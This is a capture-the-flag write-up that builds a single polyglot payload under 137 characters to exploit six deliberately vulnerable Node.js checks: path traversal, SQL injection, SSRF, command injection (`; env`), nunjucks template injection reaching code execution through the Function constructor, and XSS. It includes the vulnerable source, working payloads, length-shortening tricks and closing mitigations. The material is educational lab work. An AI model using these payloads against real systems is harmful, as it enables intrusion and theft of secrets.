This was my personal favourite challenge of the CTF where we had to create one single payload that exploits 6 different vulnerabilities at the same time while remaining under 137 characters. This was a battle of minimizing and coming up with clever tricks to combine the syntax of different exploits. Our task:
Pass all the checks to capture the flag!
Source Code
The challenge has 6 different functions all with their own vulnerability. The goal is to exploit every single function at the same time with a single payload:
...
app.post('/check', async (req, res) => {
if (!req.body.payload) return res.status(400).json({ error: 'Payload parameter missing' });
if (req.body.payload.length > 137) return res.status(400).json({ error: 'Payload too big' });
result = {}
result['checkLFI'] = checkLFI(req.body.payload)
if (!result['checkLFI']) return res.status(200).json(result)
await checkSQLi(req.body.payload).then(_ => result['checkSQLi'] = true).catch(_ => result['checkSQLi'] = false)
if (!result['checkSQLi']) return res.status(200).json(result)
await checkSSRF(req.body.payload).then(_ => result['checkSSRF'] = true).catch(_ => result['checkSSRF'] = false)
if (!result['checkSSRF']) return res.status(200).json(result)
await checkCommandInjection(req.body.payload).then(_ => result['checkCommandInjection'] = true).catch(_ => result['checkCommandInjection'] = false)
if (!result['checkCommandInjection']) return res.status(200).json(result)
result['checkSSTI'] = await checkSSTI(req.body.payload)
if (!result['checkSSTI']) return res.status(200).json(result)
result['checkXSS'] = await checkXSS(req.body.payload)
if (!result['checkXSS']) return res.status(200).json(result)
return res.json(result);
});
(check functions are defined below)
The vulnerabilities themselves are not very difficult, but combining them into one big payload can be tricky. With that, another check was also added to make sure your payload is not longer than 137 characters, otherwise, it is blocked. This gives the challenge a whole new level of difficulty as many different tricks need to be combined to reduce the length as much as possible.
Individual Challenges
Before optimizing, we will first exploit every vulnerability individually. To do this easily we can run the code ourselves while patching the /check
endpoint to not return early, but always check every vulnerability:
app.post('/check', async (req, res) => {
if (!req.body.payload) return res.status(400).json({ error: 'Payload parameter missing' });
result = {}
result['checkLFI'] = checkLFI(req.body.payload)
await checkSQLi(req.body.payload).then(_ => result['checkSQLi'] = true).catch(_ => result['checkSQLi'] = false)
await checkSSRF(req.body.payload).then(_ => result['checkSSRF'] = true).catch(_ => result['checkSSRF'] = false)
await checkCommandInjection(req.body.payload).then(_ => result['checkCommandInjection'] = true).catch(_ => result['checkCommandInjection'] = false)
result['checkSSTI'] = await checkSSTI(req.body.payload)
result['checkXSS'] = await checkXSS(req.body.payload)
return res.json(result);
});
We can run the application locally now after giving it some environment variables for the SQL Injection and Command Injection + SSTI functions:
Then we may test things locally (at http://localhost:3000) with as many debugging statements as we'd like.
1. Local File Inclusion (LFI)
const path = require('path');
// Goal: Read /etc/passwd
function checkLFI(payload) {
const absolutePath = path.resolve(payload);
return absolutePath === '/etc/passwd'
}
We need our input to path.resolve(...)
to return '/etc/passwd'
, which is easily done by providing the absolute path '/etc/passwd' to it:
2. SQL Injection (SQLi)
const sqlite3 = require('sqlite3').verbose();
// Goal: Read the admin password
const db = new sqlite3.Database(':memory:');
db.serialize(() => {
db.run(`CREATE TABLE IF NOT EXISTS users (username TEXT, password TEXT)`);
db.run(`INSERT INTO users (username, password) VALUES ('admin', ?)`, [process.env.ADMIN_PASSWORD]);
});
function checkSQLi(payload) {
return new Promise((resolve, reject) => {
db.all('SELECT username FROM users WHERE password = "' + payload + '"', (err, rows) => {
if (err) reject();
else if (rows[0] && rows[0].username === "admin") resolve()
else reject();
});
});
}
The result of the select query should include the admin, while their password is unknown. Because our payload
is inserted raw into the query string, the data becomes part of the code and using a "
double quote we can break out of the password string. Then we can rewrite the query to always return true, and the first user (admin) is always returned, satisfying the check:
Payload: " OR 1=1;-- -
3. Server-Side Request Forgery (SSRF)
const axios = require('axios');
// Goal: Read internalSecrets.txt
const localhostApp = express();
localhostApp.get('/internalSecrets.txt', (req, res) => {
res.send('This is an internal secret!');
});
localhostApp.listen(3001, '127.0.0.1');
async function checkSSRF(payload) {
try {
const response = await axios.get(payload);
return response.data === "This is an internal secret!";
} catch (error) {
throw error;
}
}
Another tiny app is started on localhost port 3001 with a /internalSecrets.txt
path that we need to fetch. We can simply fetch the URL to get its contents:
http://127.0.0.1:3001/internalSecrets.txt
4. Command Injection
const { exec } = require('child_process');
// Goal: Read environment variable COMMAND
async function checkCommandInjection(payload) {
return new Promise((resolve, reject) => {
exec("ls /" + payload, (error, stdout, stderr) => {
if (error) reject();
else if (stdout.includes(process.env.COMMAND)) resolve()
else reject();
});
})
}
This time our payload is appended to the "ls /" string and executed as a system command. This is very dangerous as it allows you to inject more commands by chaining them or using command substitution. The goal is for the output to contain the $COMMAND
environment variable, so let's call env
to output them all:
Payload: ; env
5. Server-Side Template Injection (SSTI)
const nunjucks = require('nunjucks');
// Goal: Read environment variable COMMAND
function checkSSTI(payload) {
try {
const templateString = "<h1>Welcome, " + payload + "</h1>"
const renderedTemplate = nunjucks.renderString(templateString, { username: 'John' });
if (renderedTemplate.includes(process.env.COMMAND)) return true;
else return false;
} catch (error) {
return false;
}
}
Starting to get more tricky, we have our input inserted between some HTML tags, and then the server uses nunjucks
to render this as a template string. If the output contains the $COMMAND
environment variable again, we pass the check. As shown in this blog post, this templating engine is far from secure. By accessing any global function, and then its .constructor
property, we can get the Function()
constructor with which we can write our own function from a string. Executing this grants arbitrary code execution. We will use it to read the process.env.COMMAND
variable just like the regular code does:
6. Cross-Site Scripting (XSS)
const puppeteer = require('puppeteer');
// Goal: Pop an alert!
async function checkXSS(payload) {
const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setDefaultNavigationTimeout(2000)
const html = `<html><body><h1>Welcome ${payload}</h1></body></html>`;
let alertTriggered = false;
page.on('dialog', async dialog => {
alertTriggered = true;
await dialog.dismiss();
});
await page.setContent(html);
await new Promise(resolve => setTimeout(resolve, 1000));
await browser.close();
return alertTriggered;
}
We need to trigger an alert popup with our input inside the HTML. We can write arbitrary HTML tags, some that execute JavaScript and make the browser do all sorts of things. The shortest XSS payloads are already pretty well-known, we will use the simplest that works for Chrome to trigger an alert:
Putting it together
Now that we know how each challenge is exploitable, we can put them together. This is not as simple as just pasting them one after the other because some exploits will mess up the rest's syntax. Let's start with the Local File Inclusion:
To add anything to this we need to remember what path.resolve()
does. It resolves any directory traversal sequences to their real full path, even if these in-between directories don't exist, meaning we can do something like this:
This allows us to add any other payload in place of "anything", the SQL Injection payload, for example. It contains no slashes so should be just like any other directory name. This also works for the SQL Injection because we comment out the directory traversal part:
This gets us past two checks at the same time already. Let's continue with the Server-Side Request Forgery. Our payload needs to be a valid URL that axios can fetch, and its path should be /internalSecrets.txt
. To place more data after this URL, we can end it with a ?
question mark to start a query string that the server will ignore. By putting it before the SQL Injection "
double quote, it just becomes part of the string, and thus valid syntax. Note that this does add some more slashes and thus fake directories that need to be traversed back:
That's the third check added. Now for Command Injection we need to make sure our payload has valid syntax because an error in the command will not count. We still have some room between the SSRF query string and the SQL Injection quote to put our ;env
, and then similar to SQL Injection, we can comment out the rest using #
:
We're starting to get somewhere. For the fifth check, Server-Side Template Injection, we don't have to think much. Because the templating language only looks for {{...}}
anywhere in our input, we don't need to worry about syntax errors. We will just include our payload from before in between the Command Injection comment and the SQL Injection quote:
http://127.0.0.1:3001/internalSecrets.txt?;env #{{ range.constructor("return process.env.COMMAND")() }}" OR 1=1;-- -/../../../../etc/passwd
... while this works, the SQL Injection seems to have broken again. Checking the payload we can notice that it uses double quotes, which our SSTI payload also uses. The SQL Injection genuinely requires it to break out of the string, but the SSTI can just as well use '
single quotes instead:
http://127.0.0.1:3001/internalSecrets.txt?;env #{{ range.constructor('return process.env.COMMAND')() }}" OR 1=1;-- -/../../../../etc/passwd
Now for the final piece, Cross-Site Scripting, which is also pretty simple. We can just insert it anywhere before or after the template injection:
http://127.0.0.1:3001/internalSecrets.txt?;env #<svg onload=alert()>{{ range.constructor('return process.env.COMMAND')() }}" OR 1=1;-- -/../../../../etc/passwd
The final response will now be:
{
"checkLFI":true,
"checkSQLi":true,
"checkSSRF":true,
"checkCommandInjection":true,
"checkSSTI":true,
"checkXSS":true
}
Perfect! It works locally. But when we throw it over to the remote instance, we find that our payload is too big:
Payload too big
The maximum length is 137, while our payload as it stands right now is 159 characters. Not too far away, but still definitely some way to go until it fits under that barrier.
Optimizing the length
We will now focus on optimizing our working payload by removing unnecessary parts and coming up with clever tricks that shorten the payload while still exploiting the check.
Something easy we can start with is removing unnecessary whitespace, and the extra characters in our SQL Injection payload, as comments only need --
to start:
http://127.0.0.1:3001/internalSecrets.txt?;env #<svg onload=alert()>{{range.constructor('return process.env.COMMAND')()}}" OR 1=1--/../../../../etc/passwd
We shaved off 5 resulting in a 154 characters total. Another big optimization we can make is in the SSRF part, which is a full URL at this point. As a first, we can omit the protocol because a URL starting with //
will be assumed to be HTTP, as well as the 127.0.0.1
address. As shown here, addresses may omit zeroes and still resolve to localhost. This goes as far as simply writing 0
which expands to 0.0.0.0
, resolving to localhost.
For more details on why this works, check out the documentation which explains that a single value will be interpreted as a 32-bit value that directly represents the 4 bytes that make up an IP address. 0 thus becomes
\x00\x00\x00\x00
, or0.0.0.0
//0:3001/internalSecrets.txt?;env #<svg onload=alert()>{{range.constructor('return process.env.COMMAND')()}}" OR 1=1--/../../../../etc/passwd
This helped a lot, removing 13 and bringing us to 141 characters. We're getting close now, and there is another large thing we should look at, the directory traversal. In the previous payload, we needed to traverse back lots of directories to get out of the current one. But after looking closely at our latest payload, it now starts with a /
character, meaning this is technically an absolute path. This allows us to get away with much less ../
sequences because we already start at the root:
//0:3001/internalSecrets.txt?;env #<svg onload=alert()>{{range.constructor('return process.env.COMMAND')()}}" OR 1=1--/../../etc/passwd
There we go, after removing two of these sequences that weren't needed anymore, we have a payload of 135 characters, just under the 137 limit. Giving this payload to the remote now solves the challenge!
POST /check HTTP/1.1
Host: event2-h9u854t.wizer-ctf.com
Content-Type: application/json
{
"payload": "//0:3001/internalSecrets.txt?;env #<svg onload=alert()>{{range.constructor('return process.env.COMMAND')()}}\" OR 1=1--/../../etc/passwd"
}
Extra: Improving the solution
For fun, we can continue a bit with optimization with some more ideas.
Continuing with the directory traversal, the only reason we need ../
sequences is because we have /
characters in our payload before it. We can't do much about the starting //
because it needs to be recognized as a full URL. But the second slash for separating the host from the path is more interesting, as after some testing we can actually replace it with a \
backslash instead. This removes the need for another ../
sequence shortening our payload by another 3 characters:
//0:3001\internalSecrets.txt?;env #<svg onload=alert()>{{range.constructor('return process.env.COMMAND')()}}" OR 1=1--/../etc/passwd
Lastly, the SQL Injection payload can even be improved. It turns out that the spacing between "
and OR
does not matter, and we can strip it. Also, the condition 1=1
can be simplified to just 1
in MySQL because it coerces to TRUE. With these two tricks, we shave off another 3 characters, resulting in my final payload of 129 characters:
//0:3001\internalSecrets.txt?;env #<svg onload=alert()>{{range.constructor('return process.env.COMMAND')()}}"OR 1--/../etc/passwd
After the CTF had ended, another person by the name of "lostbyte" shared a trick that relies on being able to write files in the current directory, which you can use to write during command injection and then read during SSTI:
This idea is much shorter than reading the environment variables in two separate exploits, and can be combined with the previous tricks to net a payload of only 97 characters:
//0:3001\internalSecrets.txt?;env|tee x #{%include 'x'%}<svg onload=alert()>"OR 1--/../etc/passwd
Mitigation
This was not a very realistic challenge, so mitigations are minimal. But the individual checks can all be fixed as follows:
- Local File Inclusion: Specify a base directory and don't allow absolute paths or directory traversals. Potentially check if the resulting path starts with the base directory after resolving to make sure it is always read from the correct directory.
- SQL Injection: Use prepared statements as already done in the table initialization to query the password.
- Server-Side Request Forgery: This type of vulnerability is always difficult to prevent, but consider if this server can be placed in a location where it is not able to access anything a regular user also wouldn't be able to, such as on a network separated from other applications.
- Command Injection: Use heavy sanitization of the parameters and use arrays of command arguments like
["ls", "/" + payload]
to prevent shell injections. Consider if executing a system command is really needed instead of using a language API. - Server-Side Template Injection: Never let user input into the template source code, its purpose is to put user input into the parameters of the
renderString()
function which will be put into the placeholders that the static template defined. - Cross-Site Scripting: HTML-escape characters like
<
and>
to<
and>
to prevent the browser from interpreting the data as code. Also consider adding aContent-Security-Policy
header to prevent unauthorized JavaScript from running, even in case of HTML Injection.